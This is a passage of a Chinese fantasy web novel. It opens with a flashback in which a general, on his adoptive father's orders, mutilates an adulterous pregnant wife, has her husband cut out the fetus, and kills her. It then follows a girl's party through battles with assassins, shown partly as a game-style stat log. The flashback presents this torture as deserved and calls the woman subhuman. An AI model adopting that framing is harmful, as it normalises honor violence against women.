说干就干,众人的计划开始实施,并很快有了成效...... 三个小时后...... 一位身穿银甲的雄威将军手起刀落,刚刚处死一只实力强劲的异兽,并用仙术吸收了异兽体内的能量。那位将军看着身前一地的异兽尸体,心中倒是格外平静。将军猛地向下一插,手中的三尖两刃刀赫然立在地面。凝望遮蔽天空的乌云,将军一时有些失落和沮丧。 “义父曾说,禁域乃是禁地,神圣而不可侵犯。既然此次,却竟然只有几只畜生做守卫,还真是让人失望啊。”将军冷冷地说道,“不过比起狩猎,我更期待那只‘女娃’的表现。坤字军将领和长老口中念叨着的蛇蝎女子,从听闻上就显得不普通。真是格外挑动我的心弦呐。”将军的脸上浮现一抹笑容,浓烈的战意从他眼中迸发。风随他的意念一起,开始凛冽的呼啸。 将军拿出雷神门一代宗师的护符,将它紧攥在手里一小段时间,之后松开放回原处,又拿出阴阳护符来确认时间。时候不早了,将军决心离开。 “时候不早了,该去寻找属于我的猎物了。我猜,死皮赖脸说要和我一起行动的那个小丫头,应该已经到地方守株待兔了。呵,女人心,海底针。” 一声口哨吹得空谷传响,唤来他的魂兽“雷踏”。 这时,一只浑身附着淡蓝之雷、穿戴圣纹金马铠的战马徐徐向这位将军奔来,这位将军二话不说飞身箭步跳到马上。凝望异兽尸体片刻后,这位将军驾马离开。一团黝黑的乌云,正伴随着这位将军一同前进。 驾马驰骋的时候,将军淡淡的说了一句: “看天这样子,一场暴风雨在所难免啊。” 紧接着,将军回忆起了来时与义父的交谈。 那时候...... 他与义父对坐在盘龙涧上的一处仙居内,两人在其中饮茶、谈话,气氛格外愉快,两人颇像一对亲父子。愉快的时间总是短暂的,他向义父说明了来意,随即与义父开始叙旧、道别。义父对此毫无反应,因为这样的事他早已习惯。他每一次出席重大行动前都会找义父饮茶谈话,两人对此都已习惯。 义晓龙(将军本人): “义父,你交代我的事,私公了结。” 秦武(天宫薪王王朝直属家族秦氏现任族长): “儿子啊。为父这一点私心,还请你不要见怪啊。” “儿子冒昧一句,父亲之怒是因为前几日与黑王的战斗吗?” “嘘......嘘嘘嘘,茶要凉了,赶快喝吧。” 义晓龙心领神会,附和着喝了口茶。一旁的秦武见了,心满意足地笑了。喝完茶,义晓龙拿出唐莲针,小心翼翼地交给秦武检查。 “父亲,你让我找邵爷爷打造武器,经实验的确有用处。” 秦武一笑。 “这东西,可要了我老命喽!我这面子,真是越来越不值钱了。” 秦武将针还给了义晓龙,又向他使了个眼色。义晓龙心照不宣,随手升起隔音法术墙。秦武拿起茶杯,笑着喝了一口茶。 “儿子,你真是越来越懂你老爹我了。哈哈哈,咱爷俩真是有缘分啊。” “过奖了,义父。” “唉......若不是因为你姓义,我真想把你提拔成咱老秦家的新任族长。可惜呀,咱父子俩只有喝茶的缘分了。” 秦武随手一挥,两张画纸飞到桌上,正巧正向盛放在义晓龙眼前。秦武用手指点了点画纸上的两人,眼神变得凶恶起来。 “那个叫殇的,有两个。我要你给管事送去几句客套话,别让他们动殇这个角色。两个都不许碰,他们会自己消减彼此。就怕两人联手针对我们,一个王都够我们喝一壶的了。” “明白,义父。” “他真是个角色。我、秋阳、殷花三个人上,对方甚至连斗气都没开就把我们三个狠狠按在地上摩擦。要不是殷花用了阴招,我们还不知道这个殇能猛成那个样子,三仙差点成三鲜。想要杀他,恐怕是要九族携手同诛才行啊。” “既然他这么厉害,只能先退避一手了。” “我也是这么想的。但这口气我咽不下去啊。” 义晓龙默默拿开画着殇的画纸,顺手拿起另一张画纸。看到画纸上的人时,义晓龙露出了一抹神秘的笑容。 “义父,枭雄适合形容您。” “呵,你小子呀......” “所以说,这丫头跟殇什么关系?” “殇认的一个不明不白的女儿。算是‘老来得女’。” 秦武笑了笑,随后严肃。义晓龙放下画纸,淡定地给自己倒了一杯茶。 “杀掉这姑娘也许会同时激怒两个殇,这反倒会让他们团结。义父,你确定要这么做吗?” “你觉得为父在和你开玩笑吗?阿龙。” “当然没有。我只是有些担心大局......不过吧,既然是父亲的愿望,儿臣怎有不完成的想法?” “哈哈哈,你最懂事了,阿龙。” “这次任务,要求我们清理掉‘杂质’,找到神殿,取得圣剑。前提是,不惜任何代价,哪怕杀戮无数。请报上说,那姑娘也在屠宰场的路上。” “那正好,顺手宰羊。” “没问题,爹你开心就好。” “记住,一定要把那根针扎入她的眉心,这样才能放空她体内所有的力量。令她在痛苦中死去,这才能解我的心头之恨。” “我会处理好的,义父。” “别忘了,带那女人的首级回来见我。” “儿臣明白。” “天上人从来都不曾受到过侮辱,古往今来亦是如此。我不允许有人践踏我们的尊严,我势必要扳回一局。” “爹,息怒,生气乱丹气,对身体不好的。” 秦武默默接受了义晓龙的安慰。 这时,秦武拳头突然紧紧攥起,表情也变得严肃起来。秦武从桌下拿出一盒书信,并诚恳地请义晓龙查看。义晓龙见到这些书信后面不改色,但眼神却格外的恼怒。秦武压制怒火轻拍桌子,随后向义晓龙下达一条绝密指令。 “今夜,我要看到人之花飘零在风雨中。” 义晓龙带着人马走向一栋坐落在雪山下的豪宅,那是秦家二媳妇一家人居住的地方。义晓龙迈着铿锵有力的步伐走向那栋豪宅,他的表情格外淡定,仿佛接下来发生的事与他无关。走路时,他的耳边响起了义父的嘱托。 “秦家二媳妇邓雪背着我儿子偷情许多年,最近一次不小心让她有了身孕。这娘们冤枉是我儿子粗鲁,可我儿子怎么会做那样的行为?我曾问过我儿子,时间对不上......” 义晓龙命令所有人收起了灵兽,防止打草惊蛇。从远处,秦家二少爷就挥手招呼义晓龙他们。与以往不同的是,秦家二少爷憔悴了。义晓龙用笑容回应秦家二少爷的热情,下一秒变回严肃,面露凶相。 “更可怕的是,我那小孙女,时间也是对不上。只有我那大孙子,说得上干干净净。你说,这是造的什么孽啊?最纯洁的二儿子,却嫁了个水女人。” 秦家二少爷招呼媳妇准备迎客,然后收起笑容阴着脸向义晓龙等人走过去。义晓龙看出了二少爷的心思,于是走的更快了一些。这一举动牵动了二少爷的心,二少爷也加快了步伐。 “这些书信都是那娘们写给小情人的情书。怎么样?文采是不是挺不错的。哼哼,写的比当初送我儿子的那些都好。一个有家教的女人,写出这样的东西,真是让人大跌眼镜啊。” 二少爷走到义晓龙身旁,默默地说了一句:“别脏了我的家具,它们很贵。”说完,二少爷走到义晓龙身后,反主为客。义晓龙笑了笑,然后“领着”秦家二少爷走向他的家。这一幕在二媳妇邓雪眼里,就是二少爷礼貌的一幕。 “我的要求很简单。你给你二哥做一大盆纸花瓣,给他庆祝下新婚两百年的恩爱。到时候在他家后面那座雪山的半山腰,扬了它。” 等义晓龙他们走到宅邸门口时,二少爷主动提议带义晓龙他们参观自己的大花园。义晓龙一眼看透,淡淡一笑,没有说出。二少爷带着眼角由人性施舍出的几滴泪花,带义晓龙他们参观完了花园。 “切记,砍的时候别太使劲,不然你二哥可会生气的哦。等你二哥与你二嫂互诉衷肠后,再给人家去弄花瓣。不然的话,不够浪漫。” 参观完花园,二少爷为每一位访客送上浪漫的玫瑰花,随手还送上几包花茶。二少爷的热情触动了义晓龙,也让义晓龙微微有些犹豫的心变得坚定。随着义晓龙走入二少爷的豪宅,天空开始飘雪花。 “你二哥呀,是个浪漫的人。只是你二哥命太苦,这辈子没享过几年福。你娘生他的时候难产了,救是救过来了,但没过几年就因为修为反噬死了。本来寻思着给他找个值得托付的女人,谁料到对方竟是这样的货色。” 邓雪热情地接待义晓龙,义晓龙表面用笑容接受,但内心里却十分抗拒。在场的人中除了邓雪外,没人愿意笑。 “我对不起你娘啊......” 邓雪正要端茶送水,义晓龙出口制止了她。邓雪回身查看,向义晓龙投来了疑惑的目光。邓雪问义晓龙: “义大哥,怎么了?” 嚯嚯嚯嚯......伴随一声凄厉惨叫,邓雪的灵兽化成碎片消散,邓雪本人的双臂在刀光中消失。邓雪还没来得及反应,就见到一坨又一坨的碎肉落在地板上,染红了她家的地毯。她木讷了片刻,随后跪倒在血泊当中。 义晓龙见状,招呼躲在门外的二少爷: “进来。” 二少爷不敢怠慢,随手拿起一把扇子走进屋内。见到跪倒在血泊中流泪的妻子,二少爷吓得瘫倒在地。义晓龙见状,一把抓起二少爷,问道: “想逃吗?” (邓雪:“老公!救我......疼,好疼......我的胳膊......”) 二少爷急忙摇头。义晓龙吩咐手下拿来一把战锤,然后一把塞到二少爷手里。二少爷浑身颤抖,他不敢想象接下来发生的事。义晓龙见二少爷有些发怂,就尝试从二少爷手中抢走战锤。可要交出战锤的那一刻,二少爷犹豫了。义晓龙见状笑了笑,然后推波助澜,让二少爷坚定了决心。 义晓龙走到邓雪身旁,将她一把拎了起来,还用雷电法咒禁锢了她的身体。义晓龙指着邓雪的肚子,问: “几个月了?” 二少爷支支吾吾地回答道: “四......五个月了。” 义晓龙闭上眼,冷冷地说: “你是仙医,对吗?” “对......我是。” “肚子里长了个肿块,你知道该怎么处理吧。” 此话一出,在场众人全都震惊了。尤其是二少爷,差点被吓到失禁。 “啊?!!义......义大哥。这可不是开玩笑的,那可是我......我......我儿子呀,活生生一条人命啊!” 面对众人的惊讶,义晓龙倒显得很坦然,仿佛这种事对他来说根本不算事。身为大将军的义晓龙,对生死早就看淡了。 “儿子?叫得挺顺口啊。” “唔......” “你知道这孩子是谁的吗?” 此话一出,二少爷顿时面露凶相,在场的众人也都明白了真相。邓雪面露愧疚地看着二少爷,嘴里念叨求饶的话,但二少爷此时听不进去。 “二哥。孩子是无辜的,妈是有罪的,你知道这种情况判官会怎么判吗?让犯人生下孩子后再接受刑罚。” 义晓龙把手放在了邓雪微微隆起的肚子上。 “做母亲很不容易的,咱也得体谅一下不是吗?” 义晓龙用凶狠的眼神看向二少爷。 “人啊,总得学会融汇变通。你说对不?” 二少爷连连点头附和。 “嗯。嗯!” 义晓龙抽出腰间事先准备好的匕首,一把扔到二少爷身前。二少爷看着面前的匕首,脑中突然冒出了一个可怕至极的想法。二少爷本能地抱头,惊恐地看着那把匕首,迟迟不敢伸手。义晓龙见状,神情严肃地命令他: “动手!接生。” 二少爷闭上了双眼...... “孩子母亲,做成花瓣。” 一阵急促的脚步声之后,屋内就只剩下了惨叫。 这时候,义晓龙又想起了与义父的对话。那时候,义父问他: “阿龙啊,你这计划听起来......太血腥了。你能做到那种事吗?太可怕了!” 义晓龙面无表情地告诉义父: “义父,你喝过血吗?九族打仗的时候,我才只有17岁。那一年,为了求生我喝过真人的血,还吃过军犬的肉。对我来说,那些不过是打仗时的平凡事罢了。” “可你二哥受得了这样的刺激吗?” “我不会做过格的事的,更不会让二哥背负罪孽。我身上八百多条人命,脏到已经擦不去。而二哥还是个纯洁的小伙子,我不能弄脏他的手。” “唉......要怪,只能怪那女人作死了。不过也好,这样邓家就灭了五百年的灯,我们也就不必担心人际关系问题了。” “邓家想要竞选入围,挤掉老九谷家,成为九大家族之末。此事一出,想必父亲会很高兴的吧。” “哼,那当然啦。” “父亲,时间紧迫,我要出发了。” “慢着......带上我展柜里的23号仙药。一会撒完雪花,邓家的人就回来串门。我怕他们伤着你、影响你。” “谢谢父亲。” “好啦,走吧。路上小心......” 秦武的传话傀儡随后陷入沉睡,义晓龙见状也离开了这里。 ...... 义晓龙一睁眼,眼前是一番浪漫又独特的景象。飘散的红雪花与白雪花在空中互相吸引,慢慢地跳起了舞,那是一支凄凉的舞。义晓龙露出了难得的真笑容,他沉浸在了眼前的美景当中,丝毫没有被刚刚的惨剧影响到情绪。 “义大哥,我是不是办了一件错事......” 二少爷看着沾满红雪花的手怯怯地问道。刚刚的惨剧让二少爷惊悸不已,他浑身仍怕到颤抖,他本人更是迟迟没有从惨剧中解脱出来。义晓龙见状,走到他身旁轻拍他的肩膀,并神情自若地告诉他: “顺其自然,人之大道。” 义晓龙从口袋中拿出洁白的手帕,细心地将二少爷的手擦拭干净,却也染红了洁白的手帕。义晓龙倒是没有嫌弃,很自然地收起了手帕,打算回头洗干净后继续使用。二少爷又说: “我杀了她。我入黄泉后一定会饱受折磨的,一定会的!” 见二少爷有些魔怔,义晓龙一脸风轻云淡地劝道: “杀死她的,是我,而不是你。你在‘接生’时没给她吃麻药,我靠仙术保住了她的命。她香消玉损的时候,我动手才让她断了气,而你只是当了个畏畏缩缩的副手,根本没沾多少血。” “那我岂不是帮凶?” “这件事,怪罪不到你头上。被老婆扣了帽子,还要给人家带孩子,最在乎血脉传承的秦家,哪能受得了这种屈辱。况且,那女人还恬不知耻,被警告多次仍屡屡犯案,还私底下辱骂你、侮辱秦家的名声。一心想抱大腿,却有个做公主的心。呵,非人哉。” “可再怎么样,她也是一条人命啊!” 义晓龙一脸冷漠,他对邓雪丝毫没有同情。 “你还是太善良了,二哥。你若视她为人,真是便宜了她。她称不上是人,就连畜生也算不上。” “可她......还算是我媳妇啊。” 义晓龙拿出一封书信,并展示给二少爷看。见到书信内容的二少爷,原本残存的怜悯之心瞬间消失。义晓龙趁机补刀: “你在保卫家园的时候,她在跟其他男人亲亲我我;你在辛苦劳动为家里赚钱的时候,她在想着怎么去包养男人;你大儿子生病的时候,她和别人在进行肉体上的交易。看吧,你一味地付出真心,却最后换得个悲惨的结局。她毁掉了你本该完美的一生。哈,你真是可怜啊......” 二少爷压抑的情绪在此刻爆发了。 “别说了!” 义晓龙尊敬似的沉默了五秒钟,随即补上最后一刀。 “她勾引你只是看中了秦家的地位和财富。书信中,她向自己的家人透露一份针对你的计划。她想靠你来抬升邓家的地位,从而谋取利益。你这傻脑筋,自然被她迷得五迷三窍的。她在乎从来只是自己,而不是你。” 二少爷的心态此时发生了些许变化。他久久悬着的手,慢慢放下了。义晓龙看向远方的风雪,缓缓对二少爷说: “别太担心,日子还是要过下去的。身为男人,得照顾好家。我认识一个挺单纯的姑娘,我猜她和你很搭,至少比你这个沦落为阶下囚的夫人要强。” 二少爷扶着鼻子,眼神中多了几分迷惘。 “等过一段时间再说吧,我得按习俗祭奠她一段时间。” 义晓龙轻拍二少爷的肩膀,那一刻义晓龙觉得二少爷长大了。 “等想好了,你随时可以来找我。雷神府的大门,永远向你敞开。” 二少爷点了点头,然后告别义晓龙只身漫步在白雪当中,最后缓步下了山。望着二少爷离去时的背影,义晓龙笑了,但心里仍有些难过。 “二哥。我能帮你的就这些了。剩的事,就靠你自己了。” 义晓龙转过身去看向二少爷为儿子准备的墓,墓坑上的填土还很新,渗透点点雪花与血滴。义晓龙出于对生命的敬畏,默默对墓碑鞠了一躬,随后头也不回地向山上走去。待他路过半程,邓家的打手也慢慢追了上来...... 苍白的雪山上开了几多红梅,姿色比往年要更加艳丽。梅花落下的地方是不归者沉眠的处所,红晕随梅花的到来逐渐扩散,慢慢地一片梅红色的雪原就出现了。只是很快,就被一拥而上的白雪轻松覆盖。 ...... 结束了回忆,这位将军继续快马加鞭的向着目的地前进。这位潇洒的狠人将军正带着漫天乌云前往战场,他的身后是呼啸的狂风与躁动的狂雷。在他战甲的披风上赫然印着一个大大的乾字,那是他身份的象征。他身上佩戴的是嵌着珠宝的金令牌,那是他荣誉的象征。虽是一人骑马独行,但那份浩荡的气势,犹如千军万马狂奔而来,其压迫感不言而喻。 联盟国—第十四话:万兽谷(下) 与此同时...... 伊一行人离开错峰山来到了九层妖塔所处的龙心区域中,九层妖塔就赫然伫立在她们面前。九层妖塔青如松,塔身高大尚有九棱,每棱顶均有铁索吊悬,铁索九链连九峰一塔,看起来颇有玄幻悬疑色彩。形状如莲花一样的火盆,高高矗立在塔顶之上,一望终生平等。从步数上来算,伊她们所在的位置正巧距离九层妖塔九十九步,这个距离可谓是触手可及。 “终于到了!九层妖塔,好耶!” 伊欢呼道。不死耶稣附和道: “这就是九层妖塔吗?真的是很惊人呢。” 银骨剑圣提醒惊讶的一人一骨: “别顾着看风景,提高警惕,这里随时都可能有危险。” 反观队伍里的其他成员,他们来不及惊讶,目光就被身边的异样牢牢吸引了过去。就在这时,眼光敏锐的陌和小咒刀注意到周围的异样。龙墓中心区域的天空中竟只有云彩,本该誓死守护土地的守护兽此时却不见踪影,龙心区域这样重要的地方荒凉的就像一片无人问津的荒野,孤僻。 “这里安静的过头了。” 陌警惕地说道。小咒刀附和: “对呀,不像是这高档地方该有的样子。” 陌小指一动,悄悄释放魔法侦测波,结果是这周围仅有他们一伙人存在。不过细心的陌还是看出了端倪,魔法检测波有检测成功的迹象,但以肉眼不可见的速度消失了。作为资深魔法师,他能凭借敏锐的魔力感觉感觉出这一点来。小咒刀更是厉害,直接通过透视看到了几人无意露出的几根手指与部分大腿,小咒刀凭直觉断定对方是女性刺客。 “嘶......是妹子吗?” 小咒刀猜测道。众人一听,立马停下脚步,警惕起周围环境。陌挥手示意众人继续前进,众人犹豫着没有起步。这时,小咒刀提醒陌: “陌,有其他人。” 陌微微一笑,说: “不用管。我们走我们的路。他们要来,就回不去。” 小咒刀心领神会,随后不再阻拦陌。众人看着陌坚毅的眼神,半信半疑着继续前进。陌的大拇指微微翘起,他在等候一个机会。 此时在暗处,有人耐不住激动,匆忙下了命令。 “动手。一个不留。” 话音刚落,一百多把飞剑从四面八方射向众人。陌临危不惧,他抬手对不死耶稣使用禁术加速魔咒,不死耶稣的时间相对于整个世界变快了五六倍。眨眼功夫,巨大的律法之墙在众人周围升起,又在不死耶稣的操纵下释放神圣震击,顷刻间毁灭了场上所有的飞剑,并将躲藏在暗处的敌人都震了出来。 陌叹了口气,一脸平淡地说: “想玩阴的?真是班门弄斧。” 不死耶稣念诵经文,在加速魔咒即将失效的那一刻,不死耶稣释放了他平生最大范围的祷告:“痛苦·沙利文”。随着一道红光照亮整个龙心区域,暗影无处可藏后被律法净化,尝试袭击众人的刺客也遭受到一轮短时间难以痊愈的精神损伤。等红光散去,众人也见到了袭击者的面目。 第一看去,他们大多都是身着刺客装的修仙者。从装束与随身配饰上来看,他们来自太玄国不同的宗门,手里拿着的兵器更能佐证这一点。不过从他们的面相与眼神来看,他们并非是队伍的指挥者,而是基础的执行者。 这些袭击者见行踪暴露,干脆放弃潜伏,拿起兵器准备硬拼。伊一只手放在胸口,一只手自然地抬起,她表现出温文尔雅的样子,一时令对方不想轻举妄动。伊好奇地问道: “你们是什么人?为什么要攻击我们?” 见到伊这么问,一位袭击者正欲开口,被身旁的同伴打断。见对方没办法轻易放下武器,于是伊将左手背过去,偷偷生成Emw-68蜂巢指令·灭杀(造型为一把骑枪),准备防身。由于Emw-68体积太大,骑枪的尖头无意间露了出来,从对方的角度来看好像是伊戴了顶铁尖帽,这下暴露了伊的真实想法。对方见状,赶紧全副武装威慑众人,并开始众人对峙。 这些袭击者与伊她们对峙十几秒后,似乎是感觉到了什么,突然对众人发动袭击。伊见状有些慌乱,她急忙抽出骑枪指着对方,然后用温柔的语气说: “哎呀!别见面就打架呀,这很不礼貌的。” 一位愣头愣脑的刺客身先士卒,带领众刺客进行冲锋。伊见状,立马变了表情。伊有些失望,但很快被战意所取代。伊神色坚定地说: “看样子,谈判是没有必要的了。既然如此,执行b计划:少动脑多干架。准备好......要上了哦!” 这位刺客跑到伊面前使出突刺,结果被伊灵巧的闪身躲开了。对方正欲追击,伊用武器一个回身重击给对方打翻在地,又一个下鞭腿打断对方起身。为了防止对方起身报复自己,伊蹦到对方身上连跳两下,途中还嘲讽性的比了个V形手势,这位刺客两个月修为就这么让伊踩没了。 这时有一群刺客上前欲打断,结果被陌召唤出的骷髅众拦截。伊从刺客身上蹦下来后附身检查对方的情况,发现对方还没断气。伊有些愧疚地问: “你没事吧。” 对方很诚实地回了一句: “没事......” 伊点了点头,闭上眼说道: “原来如此。你放心,我绝不杀人的。” 说完,伊摸了摸他的侧脸,这让对方觉得心头一暖。突然,伊飞速的一掌袭向他的眉心,然后伊一掌打晕了对方。铃兰花见此吐槽道: “伊,你真的好坏哦。” 伊好奇地问: “怎么了?” 铃兰花怕耽误伊战斗,就没细说,简单搪塞了过去。 “回头跟你说。” 接下来,伊变出EmA-68蜂巢集团指挥官大衣,随后化身为高冷的蜂巢指挥官投身于战斗之中。一路上经历各种磨难后的伊,愈发像一位合格的战士。 凭借队伍过人的实力与出色的配合,一轮苦战之后众人击败了这群刺客。可没等众人开始庆祝胜利,又一轮敌人从暗处袭向了他们。从人员数量、装备质量与实力上来看,这一批敌人的实力至少是上一批敌人的六倍有余。这可不是小数字,战斗中实力成倍数差距意味着绝对碾压或被绝对碾压。 突遇强敌,战斗也变得棘手了起来。不过伊的团队素质过硬,即使是面对这样强大的对手,也依然能立于不败之地。经过几轮激烈的交战,这批强大的敌人也全数被伊的团队打败。 战斗结束后,伊气喘吁吁地望向周围,见无一人起身反抗后一屁股栽坐在地,疲累感冲垮了这位激情四射的少女。队内剩下的三骨一刀也都选择了休息,这一战的确累到了他们。不死耶稣使用生命类祷告,释放圣洁阵法缓慢恢复伊的体力。陌使用星辉法术和死灵法属,释放星辉、死灵双阵法为三骨一剑恢复能量。随着时间的流逝,众人的状态也慢慢恢复。 短暂的休息过后,伊她们准备继续赶路。 就在伊动身的时候,一位白衣刺客突然杀出,紧接着拉住伊的胳膊将伊甩飞出去,本人也很快追击过去。伊刚落地,白衣刺客凑上前来释放异域法术,一转眼伊就被传送到一处幻境当中。步入幻境,伊茫然地环顾四周,惊讶地发现这是一片没有尽头的迷雾森林。正当伊惊愕之时,身后突然传来了刺客的低语。 “还请你奉陪一下。” 伊转身望去,发现周围的雾气愈浓,声音的源头也消失得无影无踪。伊大声质问道: “你是谁?快出来!” 伊转了一圈,仍未发现声音的来源。 “我没时间陪你玩躲猫猫。” 突然一把尖刀从身旁刺来,伊趁机一把抓住对方的手臂: “诶!抓住你了。” 对方很快挣脱,又一脚踹出,险些将伊踹倒过去。伊捂着被踹的地方,脸色难看地说: “诶呦!又让他跑掉了。” 伊很快恢复状态,然后摆出战斗架势,警戒起周围的环境。 “可恶,周围到处都是迷雾,怎么找人吗?” 见迟迟无法确认对方的位置,伊的大脑开始高速运转。她心想: “诶呀!伊,快想想办法。” 突然,她想到了一位重要人物。 “如果是殇来的话,他会怎么办呢?” 一提到殇,伊像是找到了启明灯一般,眼前的迷雾豁然开朗。 “哦!对了。殇曾经跟我说过他对战幻术师的经历,当时殇深陷迷雾的场景就和眼前的景象一样。殇那时是怎么做的来着?嗯......哦!我想起来了。殇说过,聚精会神、心平气和......” 伊闭上双眼、聚精会神,就像那时候殇所做的一样。伊看似静止在原地,实则敏锐地感知周围环境,只待对方露出破绽。就在这时,一阵轻又急促的脚步声从她背后传来,伊心里默念道: “聚焦一点、力破苍穹!” 待对方靠近自己的瞬间,伊侧闪躲避并抓住对方的胳膊。伊笑道: “抓到你了!” 随即,伊使用体术将对方重重地摔在地面上,又补了一膝盖防止对方起身。对方疼得直叫: “哎呦卧槽!” 挨完这两下,这位刺客抽出袖剑,以极快地刺向伊的喉咙。所幸伊反应迅速,一个后仰接柔术回旋躲开了这致命的一击。此时,伊的双瞳由红变灰,很快又由灰变成了金。伊的光之种子涌进新知识,伊的双眼拥有了看透迷雾的能力。见迷雾不再能阻挡自己的视线,伊笑道: “看样子,迷雾也对我不起作用了呢。” 那位刺客见迷雾对伊无效,很聪明地改变了战术。刺客抽出一把破云斧和一把迷迭蛇牙匕首,红色斗气随之冒起在他的身上。左手握斧头、右手玩匕首、背后悬着一条似蛇似龙的神话生物:身为元古圣贤的邪耶,凶烈的杀气腾起在刺客全身。这位刺客带给伊十足的压迫感,伊不由得望而生畏。 刺客冷笑道: “呵,有意思。” 这时,铃兰花提醒伊: “伊,小心对方的匕首。那把匕首上有剧毒!” 伊点头回应: “知道了。” 铃兰花突然感知到了什么。她说: “对方身后的那条蛇,貌似是和我一样的存在呢。” 战斗准备中...... 伊,等级22,血量145,战斗力75,速度等级III,单回合三行动,介绍:一位富有想象力的中二少女,有了一点威胁程度。 精英目标出现!!! 天宫离字军白莲刺客团上贤二品刺客——袁珂,等级60,血量247,战斗力213,速度等级V,单回合四行动,介绍:天上人派出的精英刺客,袁家为数不多的顶梁柱之一,威胁程度极高。 战斗准备完毕...... 第一回合,袁珂技能触发,本回合额外增加2次行动数,下回合开启二形态,对伊施加一层无法消减的生息护盾·破裂,伊的中毒抗性大幅度减少。伊技能触发,攻击必定附加蜂巢意志,EcL-68的特殊技能解锁,每回合固定恢复20点生命,负面状态效果每回合消减数翻倍。袁珂先手攻击。 袁珂使用破裂之剑·二闪,对伊造成了33点伤害,对伊施加五回合的三层碎甲和缓慢。伊采取防御措施,减少17点所受伤害。 袁珂使用破风斩击,对伊造成47点伤害,对伊施加五层中毒、一层毒液侵蚀。 袁珂使用剥皮去骨,被伊躲开了。 袁珂使用白鹤西去·不归,对伊造成30点伤害,中途被伊用肘击、推掌加回身踢三招打断。 袁珂使用苦肉计·露出破绽,下一回合额外获得两次行动数。伊使用反击技白云龙拳直接破解,袁珂受到13点伤害,袁珂身负一层蜂巢意志。 袁珂使用血肉剧·怨悔西梅,对伊造成22点伤害,对伊施加三回合的三层悲怆和虚弱。 伊使用吃饭,消耗掉身上的食物恢复200点生命,伊感觉到浑身充满了力量,伊获得两回合的两层力量和两层速度。速度与缓慢、力量与虚弱效果相互抵消,伊身上仅剩一层虚弱和一层缓慢。 伊使用蜂巢指令·收集,对袁珂造成27点伤害,袁珂身负三层蜂巢意志。 伊使用蜂巢指令·守护,伊获得一回合的75点额外血量。 袁珂血量剩余血量207,进入第二形态。 袁珂穿上紫绿邪蛇战甲,化身邪蛇魔王降临战场。 第二回合,袁珂激发体内的仙力,进入仙化真人强化状态。袁珂血量变为838点,单回合五行动,永久给予自身三层防御、力量、耐性,且对中毒效果免疫,每回合固定恢复50点生命值,神备邪耶相关技能解锁。袁珂恢复50点生命。伊受到38点中毒伤害,中毒层数减2,悲怆效果清零。伊恢复20点生命。袁珂先手攻击。 袁珂使用七蛇战法·集合,消耗七次行动数,对伊造成了180点伤害,对伊施加23层中毒、两层毒液侵蚀、三回合的四层碎甲、缓慢和虚弱。 伊进入濒危状态!伊的技能:锁触发,袁珂六次行动数内无法行动。 伊使用光之剑I型·武斗流,对袁珂造成37点伤害,下一次攻击的伤害增加25%。 伊使用治愈之声,消耗自身22%法力恢复300点生命,伊身上的负面状态层数减少50%。伊身上仅剩十三层中毒、两层毒液侵蚀、四层碎甲、三层缓慢、三层虚弱。 伊使用蜂巢指令·侦查,下回合获得100点额外生命,下一次攻击必定暴击,袁珂身负5层蜂巢意志。 第三回合,袁珂恢复50点生命。伊受到238点中毒伤害,中毒层数减3,虚弱和缓慢层数减1。伊意志等级提升,单回合四行动。伊恢复20点生命。袁珂先手攻击,禁锢效果将其驳回,由伊先手攻击。 伊使用光之治愈II,消耗自身50%核心能量恢复120点生命,伊获得两回合的八层生命恢复,清除自身全部负面属性。 伊使用燃起来了!我的中二之魂,三回合内造成的伤害提升30%,但受到的伤害会提高50%。 伊使用光之子的骄傲,下回合能量消耗翻倍,但整体伤害x1.35。 伊使用中二少女的斗志,下一次攻击必定是先手攻击,下一次攻击的伤害提升65%。 第四回合,袁珂禁锢效果解除,本回合行动四次。袁珂恢复50点生命,伊恢复140点生命。伊先手攻击。 伊使用自创中二极技·核爆开山掌,消耗本回合全部行动数,伊的身上爆出红色斗气,双掌之上更是冒出了闪电。伊对袁珂打出堪称必杀的一掌。 “感受我全力的一击!核爆开山掌!!!” 袁珂受到524点伤害,且被施加三回合的三级麻痹。 袁珂使用猛蛇侵袭,对伊造成20点伤害,对伊施加三层中毒。 袁珂使用巴蛇吞象,对伊造成32点伤害,中途伊使用奔流冲拳直接打断。 袁珂使用大漠之蛇,被伊躲开了。 袁珂使用狂野丛林·蛇之舞,对伊造成42点伤害,对伊施加八层中毒、一层毒液侵蚀。伊使用反击技女王的威压直接破解,袁珂受到23点伤害,袁珂身负8层蜂巢意志。 袁珂见势不妙,直接斗气爆发进入殊死龙战状态。 袁珂恢复200点生命值,同时永久禁用一切恢复生命的措施。作为代价,袁珂永久获得100%伤害加成,但收到的伤害也增加100%。 战斗暂停...... 铃兰花: “哇!对方身上冒的气儿跟烧火似的,看起来好酷啊。” 伊: “额......这时候就别大惊小怪的了。” 铃兰花: “嘻嘻......没见过,新鲜。哦,对了!伊,对方身上杀气很重,你一定要万分小心啊!” 伊: “我会的。” 这时,一块发光碎片融入伊的身体,卡娜铃兰相关技能解锁三分之一。 伊: “矣?这是?” 铃兰花: “即便是一副娃娃身子骨,我也能是能帮到你的。陌交给我的秘密之一,就是传授技巧的奥义!” 伊: “哇!嗯......万分感谢。接下来的战斗,为了你,我一定要打好!” 铃兰花: “嗯。我相信你!” 战斗继续...... 第五回合,袁珂技能触发,本回合额外增加两次行动数。伊的意志等级提升,神秘的被动技能增加了。伊受到67点中毒伤害,中毒层数减3。伊恢复140点生命值。袁珂先手攻击。 袁珂使用梦魇缠身,对伊施加三回合的恐惧,不幸被斗志昂扬的伊免疫了。 袁珂使用蓄意刺杀,对伊造成36点伤害,对伊施加5层流血。 袁珂使用夜影刺客的觉悟,下一次攻击额外造成15%到115%之间的伤害。 袁珂使用白莲·背袭突刺,被伊躲掉了。伊使用反击技卡娜铃兰的技巧之流氓终结技,过肩摔、扫腿、摆淑女姿势一气呵成,袁珂受到46点伤害。伤害不高,但侮辱性极强。 袁珂愤怒了。 袁珂使用白莲·幻影九刃,对伊造成69点伤害,对伊施加5层中毒加流血。伊采取防御措施,减少37点所受伤害。 袁珂使用极技·鸿之舞,消耗本回合剩余行动数,袁珂身上爆发橙色斗气。袁珂快速来到伊身前,随即施展起那只致命又华丽的舞蹈。 “尔等杂碎,统统毙命。” 伊受到109点伤害,伊被施加了10层流血和5层中毒。 伊血量归零,不......奇迹发生了!伊的血量锁在1点。 决定生死的时刻已然到来。伊与痛苦进行较量,在难忍的剧痛中汇聚全身的能量。伊的身上爆出五彩斑斓的斗气,正愈发浓烈、愈发绚烂。 最终,伊战胜了自我,使出她人生中第一次绝地反击技。 